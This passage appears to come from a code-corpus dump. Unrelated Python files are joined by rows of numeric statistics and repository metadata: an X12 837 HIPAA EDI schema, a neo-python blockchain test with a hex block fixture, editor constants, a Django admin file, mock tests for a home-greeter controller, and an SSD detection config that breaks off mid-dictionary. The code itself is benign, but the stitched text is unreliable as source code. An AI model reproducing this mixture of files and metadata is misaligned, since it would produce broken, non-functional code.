),
Element(
"ISA05",
Properties(
desc="I05",
req_sit="R",
data_type=("ID", "2", "2"),
position=5,
codes=["01", "14", "20", "27", "28", "29", "30", "33", "ZZ"],
),
),
Element(
"ISA06",
Properties(
desc="I06",
req_sit="R",
data_type=("AN", "15", "15"),
position=6,
codes=[],
),
),
Element(
"ISA07",
Properties(
desc="I05",
req_sit="R",
data_type=("ID", "2", "2"),
position=7,
codes=["01", "14", "20", "27", "28", "29", "30", "33", "ZZ"],
),
),
Element(
"ISA08",
Properties(
desc="I07",
req_sit="R",
data_type=("AN", "15", "15"),
position=8,
codes=[],
),
),
Element(
"ISA09",
Properties(
desc="I08",
req_sit="R",
data_type=("DT", "6", "6"),
position=9,
codes=[],
),
),
Element(
"ISA10",
Properties(
desc="I09",
req_sit="R",
data_type=("TM", "4", "4"),
position=10,
codes=[],
),
),
Element(
"ISA11",
Properties(
desc="I10",
req_sit="R",
data_type=("ID", "1", "1"),
position=11,
codes=[],
),
),
Element(
"ISA12",
Properties(
desc="I11",
req_sit="R",
data_type=("ID", "5", "5"),
position=12,
codes=["00501"],
),
),
Element(
"ISA13",
Properties(
desc="I12",
req_sit="R",
data_type=("N0", "9", "9"),
position=13,
codes=[],
),
),
Element(
"ISA14",
Properties(
desc="I13",
req_sit="R",
data_type=("ID", "1", "1"),
position=14,
codes=["0", "1"],
),
),
Element(
"ISA15",
Properties(
desc="I14",
req_sit="R",
data_type=("ID", "1", "1"),
position=15,
codes=["P", "T"],
),
),
Element(
"ISA16",
Properties(
desc="I15",
req_sit="R",
data_type=("AN", "1", "1"),
position=16,
codes=[],
),
),
),
parsed_837_GS_LOOP,
Segment(
"TA1",
Properties(
desc="Interchange Acknowledgement",
position="0200",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"TA101",
Properties(
desc="I12",
req_sit="R",
data_type=("N0", "9", "9"),
position=1,
codes=[],
),
),
Element(
"TA102",
Properties(
desc="I08",
req_sit="R",
data_type=("DT", "6", "6"),
position=2,
codes=[],
),
),
Element(
"TA103",
Properties(
desc="I09",
req_sit="R",
data_type=("TM", "4", "4"),
position=3,
codes=[],
),
),
Element(
"TA104",
Properties(
desc="I17",
req_sit="R",
data_type=("ID", "1", "1"),
position=4,
codes=["A", "E", "R"],
),
),
Element(
"TA105",
Properties(
desc="I18",
req_sit="R",
data_type=("ID", "3", "3"),
position=5,
codes=[
"000",
"001",
"002",
"003",
"004",
"005",
"006",
"007",
"008",
"009",
"010",
"011",
"012",
"013",
"014",
"015",
"016",
"017",
"018",
"019",
"020",
"021",
"022",
"023",
"024",
"025",
"026",
"027",
"028",
"029",
"030",
"031",
],
),
),
),
Segment(
"IEA",
Properties(
desc="Interchange Control Trailer",
position="0300",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"IEA01",
Properties(
desc="I16",
req_sit="R",
data_type=("N0", "1", "5"),
position=1,
codes=[],
),
),
Element(
"IEA02",
Properties(
desc="I12",
req_sit="R",
data_type=("N0", "9", "9"),
position=2,
codes=[],
),
),
),
)
parsed_837 = Message(
"837",
Properties(desc="HIPAA Health Care Claim: Professional X222A1-837"),
parsed_837_ISA_LOOP,
)
| 26.657891 | 121 | 0.310715 | 65,250 | 950,807 | 4.424291 | 0.020506 | 0.172693 | 0.034893 | 0.049992 | 0.988766 | 0.986414 | 0.985039 | 0.984183 | 0.983456 | 0.981572 | 0 | 0.06527 | 0.55568 | 950,807 | 35,666 | 122 | 26.658638 | 0.618068 | 0.000076 | 0 | 0.990382 | 1 | 0 | 0.128106 | 0.000097 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.000028 | 0 | 0.000028 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
9ecea7c14561252cb32b0730f867255188015cf1 | 3,692 | py | Python | neo/SmartContract/tests/test_smart_contract.py | WhisperQFun/neo-python | 1790581bfb9c91e92814fe6624997f90c08f989f | [
"MIT"
] | null | null | null | neo/SmartContract/tests/test_smart_contract.py | WhisperQFun/neo-python | 1790581bfb9c91e92814fe6624997f90c08f989f | [
"MIT"
] | null | null | null | neo/SmartContract/tests/test_smart_contract.py | WhisperQFun/neo-python | 1790581bfb9c91e92814fe6624997f90c08f989f | [
"MIT"
] | null | null | null | from neo.Utils.BlockchainFixtureTestCase import BlockchainFixtureTestCase
from neo.IO.Helper import Helper
from neo.Core.TX.Transaction import TransactionType
from neo.Settings import settings
import os
import binascii
class SmartContractTest(BlockchainFixtureTestCase):
@classmethod
def leveldb_testpath(self):
return os.path.join(settings.DATA_DIR_PATH, 'fixtures/test_chain')
# test need to be updated whenever we change the fixtures
def test_a_initial_setup(self):
self.assertEqual(self._blockchain.Height, 12349)
invb = b'000000007134e5ee56f841bb73dbff969a9ef793c05f175cd386b2f24874a54c441cc0500e6c4e19da72fd4956a28670f36d26e03fd43c1794a1d3a5ad4f738dd48b53f505c7605b992400006b76abd322b7bd0bbe48d3a3f5d10013ab9ffee489706078714f1ea201c3400df8020bf9c22cd865b43b73060be3302abbab95b5f38941ba288cd77b846c9c1edcef1ab9a108f0a2fb8180e88178d3e85e316243054e48b29ced9dde54766340d9efc4f6d78970aba6712688071b862413bd53d58620e87c951aa3eac5c2611cdfecfcf084c12cfbe6cd356ef7726b9b5e93c10b5ffa7dc6e77ae8dc8c7af09240756caac1dad30a93662f36194fe270bb2afe0a557492122027df5f95dc5b1b9d18b169a6a96795019067ba008e5d42250c23886f0807ec20f3c880b2e740d1048b532102103a7f7dd016558597f7960d27c516a4394fd968b9e65155eb4b013e4040406e2102a7bc55fe8684e0119768d104ba30795bdcc86619e864add26156723ed185cd622102b3622bf4017bdfe317c58aed5f4c753f206b7db896046fa7d774bbc4bf7f8dc22103d90c07df63e690ce77912e10ab51acc944b66860237b608c4f8f8309e71ee69954ae0200006b76abd300000000d101de39202f726f6f742f2e6e656f707974686f6e2f436861696e732f556e6974546573742d534d2f636f6e7472616374732f73616d706c65322e70790474657374047465737404746573740474657374000102030702024c725ec56b6a00527ac46a51527ac46a52527ac46a00c3036164649c640d006a51c36a52c3936c7566616a00c3037375629c640d006a51c36a52c3946c7566616a00c3036d756c9c640d006a51c36a52c3956c7566616a00c3036469769c640d006a51c36a52c3966c7566614f6c7566006c756668134e656f2e436f6e74726163742e437265617465001a7118020000000001347fff9221a8caf429279a82906688eb78264c1a9a2791d95ee47b6e095120aa000001e72d286979ee6cb1b7e65dfddfb2e384100b8d148e7758de42e4168b71792c600080b5fc5c02000023ba2703c53263e8d6e522dc32203339dcd8eee90141405787dc8c47ba7da02668582b822bb50e1b615546a5f01826967cba603a0744a01aed6c098d809f20ec199a84269aa01ea911564effe7c1b4ad65d71f4ca995a12321031a6c6fbbdf02ca351745fa86b9ba5a9452d785ac4f7fc2b7548ca2a46c4fcf4aac'
invbh = b'ac2d9d876bb6ee5cf1d011820409180cda7594b88c94f94a110ce2f5e472294e'
invtxh = '39202f726f6f742f2e6e656f707974686f6e2f436861696e732f556e6974546573742d534d2f636f6e7472616374732f73616d706c65322e70790474657374047465737404746573740474657374000102030702024c725ec56b6a00527ac46a51527ac46a52527ac46a00c3036164649c640d006a51c36a52c3936c7566616a00c3037375629c640d006a51c36a52c3946c7566616a00c3036d756c9c640d006a51c36a52c3956c7566616a00c3036469769c640d006a51c36a52c3966c7566614f6c7566006c756668134e656f2e436f6e74726163742e437265617465'
def test_a_invocation_block(self):
hexdata = binascii.unhexlify(self.invb)
block = Helper.AsSerializableWithType(hexdata, 'neo.Core.Block.Block')
self.assertEqual(block.Hash.ToBytes(), self.invbh)
self.assertEqual(block.Index, 9369)
invtx = None
for tx in block.Transactions:
if tx.Type == TransactionType.InvocationTransaction:
invtx = tx
self.assertIsNotNone(invtx)
self.assertEqual(len(invtx.Script), 222)
self.assertEqual(invtx.Script.hex(), self.invtxh)
def test_a_run_sc(self):
hexdata = binascii.unhexlify(self.invb)
block = Helper.AsSerializableWithType(hexdata, 'neo.Core.Block.Block')
result = self._blockchain.Persist(block)
self.assertTrue(result)
| 72.392157 | 1,784 | 0.884345 | 165 | 3,692 | 19.69697 | 0.472727 | 0.023077 | 0.007385 | 0.017231 | 0.057231 | 0.057231 | 0.057231 | 0.057231 | 0.057231 | 0.057231 | 0 | 0.485563 | 0.080715 | 3,692 | 50 | 1,785 | 73.84 | 0.472009 | 0.014897 | 0 | 0.125 | 0 | 0 | 0.642916 | 0.626685 | 0 | 1 | 0 | 0 | 0.21875 | 1 | 0.125 | false | 0 | 0.1875 | 0.03125 | 0.46875 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9ed97fbe72e51be409cab21e009c6b1db7ca6569 | 115 | py | Python | src/researchhub_document/related_models/constants/editor_type.py | ResearchHub/ResearchHub-Backend-Open | d36dca33afae2d442690694bb2ab17180d84bcd3 | [
"MIT"
] | 18 | 2021-05-20T13:20:16.000Z | 2022-02-11T02:40:18.000Z | src/researchhub_document/related_models/constants/editor_type.py | ResearchHub/ResearchHub-Backend-Open | d36dca33afae2d442690694bb2ab17180d84bcd3 | [
"MIT"
] | 109 | 2021-05-21T20:14:23.000Z | 2022-03-31T20:56:10.000Z | src/researchhub_document/related_models/constants/editor_type.py | ResearchHub/ResearchHub-Backend-Open | d36dca33afae2d442690694bb2ab17180d84bcd3 | [
"MIT"
] | 4 | 2021-05-17T13:47:53.000Z | 2022-02-12T10:48:21.000Z | CK_EDITOR = 'CK_EDITOR'
DRAFT_JS = 'DRAFT_JS'
EDITOR_TYPES = (
(CK_EDITOR, CK_EDITOR),
(DRAFT_JS, DRAFT_JS)
)
| 14.375 | 25 | 0.695652 | 18 | 115 | 3.944444 | 0.277778 | 0.450704 | 0.28169 | 0.450704 | 0.84507 | 0.84507 | 0.84507 | 0.84507 | 0 | 0 | 0 | 0 | 0.165217 | 115 | 7 | 26 | 16.428571 | 0.739583 | 0 | 0 | 0 | 0 | 0 | 0.147826 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
73053753b9679f65365611fc6443983fc798a7e2 | 159 | py | Python | photo/admin.py | prajalpatidar06/Hazel | 76ce084ab81962d579f1e14e3258f332b3bb4965 | [
"Apache-2.0"
] | null | null | null | photo/admin.py | prajalpatidar06/Hazel | 76ce084ab81962d579f1e14e3258f332b3bb4965 | [
"Apache-2.0"
] | null | null | null | photo/admin.py | prajalpatidar06/Hazel | 76ce084ab81962d579f1e14e3258f332b3bb4965 | [
"Apache-2.0"
] | null | null | null | from django.contrib import admin
# Register your models here.
from .models import Photo,Category
admin.site.register(Category)
admin.site.register(Photo) | 26.5 | 35 | 0.792453 | 22 | 159 | 5.727273 | 0.545455 | 0.206349 | 0.269841 | 0.396825 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125786 | 159 | 6 | 36 | 26.5 | 0.906475 | 0.163522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
732a7f1b37ad96fab6aa4da3fc66718cb6bb5617 | 11,617 | py | Python | tests/test_controller.py | samfrench/home-greeter | d03451912162c59e790989fd773fa1fbe66431e2 | [
"MIT"
] | null | null | null | tests/test_controller.py | samfrench/home-greeter | d03451912162c59e790989fd773fa1fbe66431e2 | [
"MIT"
] | null | null | null | tests/test_controller.py | samfrench/home-greeter | d03451912162c59e790989fd773fa1fbe66431e2 | [
"MIT"
] | null | null | null | from unittest import TestCase
from mock import Mock, call, patch
# Mocking picamera module before camera import
import sys
sys.modules['picamera'] = Mock()
from home_greeter.controller import Controller
class TestControllerWithVisitorAndOccupierIn(TestCase):
def setUp(self):
self.mock_detector = Mock(autospec='home_greeter.detector.Detector')
self.mock_greeter = Mock(autospec='home_greeter.greeter.Greeter')
self.mock_camera = Mock(autospec='home_greeter.Camera')
self.mock_imager = Mock(autospec='home_greeter.imager.Imager')
self.mock_tweeter = Mock(autospec='home_greeter.Tweeter')
self.controller = Controller(
detector = self.mock_detector,
greeter = self.mock_greeter,
camera = self.mock_camera,
imager = self.mock_imager,
tweeter = self.mock_tweeter
)
self.mock_imager.is_delivery.return_value = False # Mock out the visitor
self.channel = 1 # This can be anything, but a channel number is provided when an event is detected
self.controller.should_run(False)
def test_create(self):
self.assertIsInstance(self.controller, Controller)
def test_run_calls_detector_subscribe(self):
self.controller.run()
self.mock_detector.subscribe.assert_called_once_with(self.controller._Controller__process)
def test_greeter_welcome_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.welcome.assert_called_once()
def test_camera_take_photo_for_detection_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_camera.take_photo.assert_has_calls([call(Controller.INITIAL_PHOTO)])
def test_greeter_ask_for_visitor_name_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.ask_for_visitor_name.assert_called_once()
def test_greeter_ask_for_occupier_name_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.ask_for_occupier_name.assert_called_once()
def test_greeter_update_visitor_about_asking_for_occupier_is_called(self):
with patch.object(self.mock_greeter, 'ask_for_visitor_name', return_value='Bob'):
with patch.object(self.mock_greeter, 'ask_for_occupier_name', return_value='Alice'):
self.controller._Controller__process(self.channel)
self.mock_greeter.update_visitor_about_asking_for_occupier.assert_called_once_with('Bob', 'Alice')
def test_greeter_request_occupier_come_to_the_door_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.request_occupier_come_to_the_door.assert_called_once()
# Multiple items are returned when waiting for input
# As long as the first is True this will stop the application flow
@patch('select.select', return_value=[True, None, None])
def test_occupier_at_door_so_no_other_methods_called(self, keypress):
self.controller._Controller__process(self.channel)
self.mock_greeter.take_message_for_occupier.assert_not_called()
self.mock_greeter.take_photo.assert_not_called()
self.mock_camera.take_photo.assert_called_once_with(Controller.INITIAL_PHOTO)
self.mock_tweeter.tweet_message_with_image.assert_not_called()
self.mock_greeter.thank_visitor.assert_not_called()
class TestControllerWithVisitorAndOccupierOut(TestCase):
def setUp(self):
self.mock_detector = Mock(autospec='home_greeter.Detector')
self.mock_greeter = Mock(autospec='home_greeter.Greeter')
self.mock_camera = Mock(autospec='home_greeter.Camera')
self.mock_imager = Mock(autospec='home_greeter.imager.Imager')
self.mock_tweeter = Mock(autospec='home_greeter.Tweeter')
self.controller = Controller(
detector = self.mock_detector,
greeter = self.mock_greeter,
camera = self.mock_camera,
imager = self.mock_imager,
tweeter = self.mock_tweeter
)
self.mock_imager.is_delivery.return_value = False # Mock out the visitor
self.channel = 1 # This can be anything, but a channel number is provided when an event is detected
self.controller.should_run(False)
def test_create(self):
self.assertIsInstance(self.controller, Controller)
def test_run_calls_detector_subscribe(self):
self.controller.run()
self.mock_detector.subscribe.assert_called_once_with(self.controller._Controller__process)
def test_greeter_welcome_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.welcome.assert_called_once()
def test_camera_take_photo_for_detection_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_camera.take_photo.assert_has_calls([call(Controller.INITIAL_PHOTO)])
def test_greeter_ask_for_visitor_name_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.ask_for_visitor_name.assert_called_once()
def test_greeter_ask_for_occupier_name_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.ask_for_occupier_name.assert_called_once()
def test_greeter_update_visitor_about_asking_for_occupier_is_called(self):
with patch.object(self.mock_greeter, 'ask_for_visitor_name', return_value='Bob'):
with patch.object(self.mock_greeter, 'ask_for_occupier_name', return_value='Alice'):
self.controller._Controller__process(self.channel)
self.mock_greeter.update_visitor_about_asking_for_occupier.assert_called_once_with('Bob', 'Alice')
def test_greeter_request_occupier_come_to_the_door_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.request_occupier_come_to_the_door.assert_called_once()
def test_greeter_take_message_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.take_message_for_occupier.assert_called_once()
def test_greeter_take_photo_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.take_photo.assert_called_once()
def test_camera_take_photo_of_visitor_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_camera.take_photo.assert_has_calls([call(Controller.VISITOR_PHOTO)])
def test_tweeter_tweet_message_with_image_is_called(self):
with patch.object(self.mock_greeter, 'take_message_for_occupier', return_value='I am outside'):
self.controller._Controller__process(self.channel)
self.mock_tweeter.tweet_message_with_image.assert_called_once_with('I am outside', Controller.VISITOR_PHOTO)
def test_greeter_thank_visitor_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.thank_visitor.assert_called_once()
class TestControllerWithDeliveryAndSomeoneIn(TestCase):
def setUp(self):
self.mock_detector = Mock(autospec='home_greeter.detector.Detector')
self.mock_greeter = Mock(autospec='home_greeter.greeter.Greeter')
self.mock_camera = Mock(autospec='home_greeter.Camera')
self.mock_imager = Mock(autospec='home_greeter.imager.Imager')
self.mock_tweeter = Mock(autospec='home_greeter.Tweeter')
self.controller = Controller(
detector = self.mock_detector,
greeter = self.mock_greeter,
camera = self.mock_camera,
imager = self.mock_imager,
tweeter = self.mock_tweeter
)
self.mock_imager.is_delivery.return_value = True # Mock out the delivery
self.channel = 1 # This can be anything, but a channel number is provided when an event is detected
self.controller.should_run(False)
def test_create(self):
self.assertIsInstance(self.controller, Controller)
def test_run_calls_detector_subscribe(self):
self.controller.run()
self.mock_detector.subscribe.assert_called_once_with(self.controller._Controller__process)
def test_greeter_welcome_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.welcome.assert_called_once()
def test_camera_take_photo_for_detection_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_camera.take_photo.assert_has_calls([call(Controller.INITIAL_PHOTO)])
def test_greeter_says_to_wait_for_someone(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.ask_deliverer_to_wait.assert_called_once()
def test_greeter_request_someone_come_to_the_door_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.request_someone_come_to_the_door.assert_called_once()
# Multiple items are returned when waiting for input
# As long as the first is True this will stop the application flow
@patch('select.select', return_value=[True, None, None])
def test_occupier_at_door_so_no_other_methods_called(self, keypress):
self.controller._Controller__process(self.channel)
self.mock_greeter.ask_deliverer_to_leave_parcel.assert_not_called()
class TestControllerWithDeliveryAndNobodyIn(TestCase):
def setUp(self):
self.mock_detector = Mock(autospec='home_greeter.detector.Detector')
self.mock_greeter = Mock(autospec='home_greeter.greeter.Greeter')
self.mock_camera = Mock(autospec='home_greeter.Camera')
self.mock_imager = Mock(autospec='home_greeter.imager.Imager')
self.mock_tweeter = Mock(autospec='home_greeter.Tweeter')
self.controller = Controller(
detector = self.mock_detector,
greeter = self.mock_greeter,
camera = self.mock_camera,
imager = self.mock_imager,
tweeter = self.mock_tweeter
)
self.mock_imager.is_delivery.return_value = True # Mock out the delivery
self.channel = 1 # This can be anything, but a channel number is provided when an event is detected
self.controller.should_run(False)
def test_create(self):
self.assertIsInstance(self.controller, Controller)
def test_run_calls_detector_subscribe(self):
self.controller.run()
self.mock_detector.subscribe.assert_called_once_with(self.controller._Controller__process)
def test_greeter_welcome_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.welcome.assert_called_once()
def test_camera_take_photo_for_detection_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_camera.take_photo.assert_has_calls([call(Controller.INITIAL_PHOTO)])
def test_greeter_says_to_wait_for_someone(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.ask_deliverer_to_wait.assert_called_once()
def test_greeter_request_someone_come_to_the_door_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.request_someone_come_to_the_door.assert_called_once()
def test_ask_deliverer_to_leave_parcel_is_called(self):
self.controller._Controller__process(self.channel)
self.mock_greeter.ask_deliverer_to_leave_parcel.assert_called_once()
| 49.224576 | 120 | 0.747353 | 1,486 | 11,617 | 5.431359 | 0.080754 | 0.084252 | 0.118944 | 0.122909 | 0.941643 | 0.926775 | 0.910296 | 0.902738 | 0.882419 | 0.871639 | 0 | 0.000416 | 0.17242 | 11,617 | 235 | 121 | 49.434043 | 0.839089 | 0.059051 | 0 | 0.819149 | 0 | 0 | 0.061555 | 0.033526 | 0 | 0 | 0 | 0 | 0.212766 | 1 | 0.212766 | false | 0 | 0.021277 | 0 | 0.255319 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
733a9861e29f6ac3de81b6825a251ecd4d36299d | 128 | py | Python | python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_1/_pkg1_1_0/_pkg1_1_0_1/_pkg1_1_0_1_1/_mod1_1_0_1_1_3.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 2 | 2019-04-28T07:48:50.000Z | 2020-12-11T14:18:08.000Z | python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_1/_pkg1_1_0/_pkg1_1_0_1/_pkg1_1_0_1_1/_mod1_1_0_1_1_3.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_1/_pkg1_1_0/_pkg1_1_0_1/_pkg1_1_0_1_1/_mod1_1_0_1_1_3.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | name1_1_0_1_1_3_0 = None
name1_1_0_1_1_3_1 = None
name1_1_0_1_1_3_2 = None
name1_1_0_1_1_3_3 = None
name1_1_0_1_1_3_4 = None | 14.222222 | 24 | 0.820313 | 40 | 128 | 1.875 | 0.175 | 0.4 | 0.466667 | 0.533333 | 0.88 | 0.88 | 0.746667 | 0 | 0 | 0 | 0 | 0.318182 | 0.140625 | 128 | 9 | 25 | 14.222222 | 0.363636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
b42c67e02472148039f4fa6e851e1eac6b1245df | 170 | py | Python | commands/__init__.py | applanga/applanga-cli | 6ca7218f30ff8ea62f660eeebf6e0db3ac908267 | [
"MIT"
] | 2 | 2018-06-27T12:28:19.000Z | 2021-10-05T04:31:38.000Z | commands/__init__.py | applanga/applanga-cli | 6ca7218f30ff8ea62f660eeebf6e0db3ac908267 | [
"MIT"
] | null | null | null | commands/__init__.py | applanga/applanga-cli | 6ca7218f30ff8ea62f660eeebf6e0db3ac908267 | [
"MIT"
] | 2 | 2020-01-24T16:49:34.000Z | 2021-06-10T11:08:40.000Z | from commands import config
from commands import init
from commands import pull
from commands import push
from commands import pullSource
from commands import pushTarget
| 24.285714 | 31 | 0.858824 | 24 | 170 | 6.083333 | 0.375 | 0.493151 | 0.739726 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.141176 | 170 | 6 | 32 | 28.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
b45a5be5999353c0c2fe3648d6823d398f42f0a0 | 165 | py | Python | tests_example/test_module_three.py | elpassion/danger-py-cov | 343b63154edf3980b2071a121206a1f31f20b7b0 | [
"MIT"
] | 1 | 2020-02-17T10:19:42.000Z | 2020-02-17T10:19:42.000Z | tests_example/test_module_three.py | elpassion/danger-py-cov | 343b63154edf3980b2071a121206a1f31f20b7b0 | [
"MIT"
] | 5 | 2020-02-04T15:27:47.000Z | 2020-02-14T10:42:08.000Z | tests_example/test_module_three.py | elpassion/danger-py-cov | 343b63154edf3980b2071a121206a1f31f20b7b0 | [
"MIT"
] | 1 | 2020-02-14T13:16:48.000Z | 2020-02-14T13:16:48.000Z | from danger_py_cov_example.module_three import squarer
def test_squarer_works_for_zero():
"""
Test squarer works for 0.
"""
assert squarer(0) == 0
| 18.333333 | 54 | 0.69697 | 24 | 165 | 4.458333 | 0.666667 | 0.205607 | 0.299065 | 0.35514 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023077 | 0.212121 | 165 | 8 | 55 | 20.625 | 0.8 | 0.151515 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 9 |
b467a733ae24ea1e8e9cfd14457ce4643da4d5c3 | 5,483 | py | Python | data/config.py | outsidercsy/PeleeNet_Detection_pytorch | 675b5c0bd75ff880e47d605df0dc944db0756873 | [
"MIT"
] | 3 | 2019-10-30T00:43:46.000Z | 2020-01-10T13:32:45.000Z | data/config.py | outsidercsy/PeleeNet_Detection_pytorch | 675b5c0bd75ff880e47d605df0dc944db0756873 | [
"MIT"
] | null | null | null | data/config.py | outsidercsy/PeleeNet_Detection_pytorch | 675b5c0bd75ff880e47d605df0dc944db0756873 | [
"MIT"
] | 2 | 2019-11-19T01:56:15.000Z | 2020-05-24T01:44:44.000Z | # config.py
import os.path
# gets home dir cross platform
HOME = os.path.expanduser("/workspace2/csy")####origin is "~"
# for making bounding boxes pretty
COLORS = ((255, 0, 0, 128), (0, 255, 0, 128), (0, 0, 255, 128),
(0, 255, 255, 128), (255, 0, 255, 128), (255, 255, 0, 128))
MEANS = (104, 117, 123)####bgr
# SSD300 CONFIGS
voc = {
'num_classes': 21,
'lr_steps': (80000, 100000, 150000, 200000),
'max_iter': 200000,
'feature_maps': [19, 19, 10, 5, 3, 1],
'min_dim': 304,
'steps': [16, 16, 30, 61, 101, 304],
'min_sizes': [30, 60, 111, 162, 213, 264],
'max_sizes': [60, 111, 162, 213, 264, 315],
'aspect_ratios': [[2], [2, 3], [2, 3], [2, 3], [2], [2]],
'variance': [0.1, 0.2],
'clip': True,
'name': 'VOC',
'anchor_nums': [4, 6, 6, 6, 4, 4],####
'flip': True,####
}
holo = {
'num_classes': 15,
'lr_steps': (30000, 100000, 120000),
'max_iter': 120000,
'feature_maps': [19, 19, 10, 5, 3, 1],
'min_dim': 304,
'steps': [16, 16, 30, 61, 101, 304],
'min_sizes': [30, 60, 111, 162, 213, 264],
'max_sizes': [60, 111, 162, 213, 264, 315],
'aspect_ratios': [[2], [2, 3], [2, 3], [2, 3], [2], [2]],
'variance': [0.1, 0.2],
'clip': True,
'name': 'HOLO',
'anchor_nums': [4, 6, 6, 6, 4, 4],####
'flip': True,####
}
holov2 = {
'num_classes': 7,
'lr_steps': (100000, 150000, 200000),
'max_iter': 200000,
'feature_maps': [19, 19, 10, 5, 3, 1],
'min_dim': 304,
'steps': [16, 16, 30, 61, 101, 304],
'min_sizes': [30, 60, 111, 162, 213, 264],
'max_sizes': [60, 111, 162, 213, 264, 315],
'aspect_ratios': [[2], [2, 3], [2, 3], [2, 3], [2], [2]],
'variance': [0.1, 0.2],
'clip': True,
'name': 'HOLOV2',
'anchor_nums': [4, 6, 6, 6, 4, 4],####
'flip': True,####
}
coco = {
'num_classes': 201,
'lr_steps': (280000, 360000, 400000),
'max_iter': 400000,
'feature_maps': [19, 19, 10, 5, 3, 1],
'min_dim': 304,
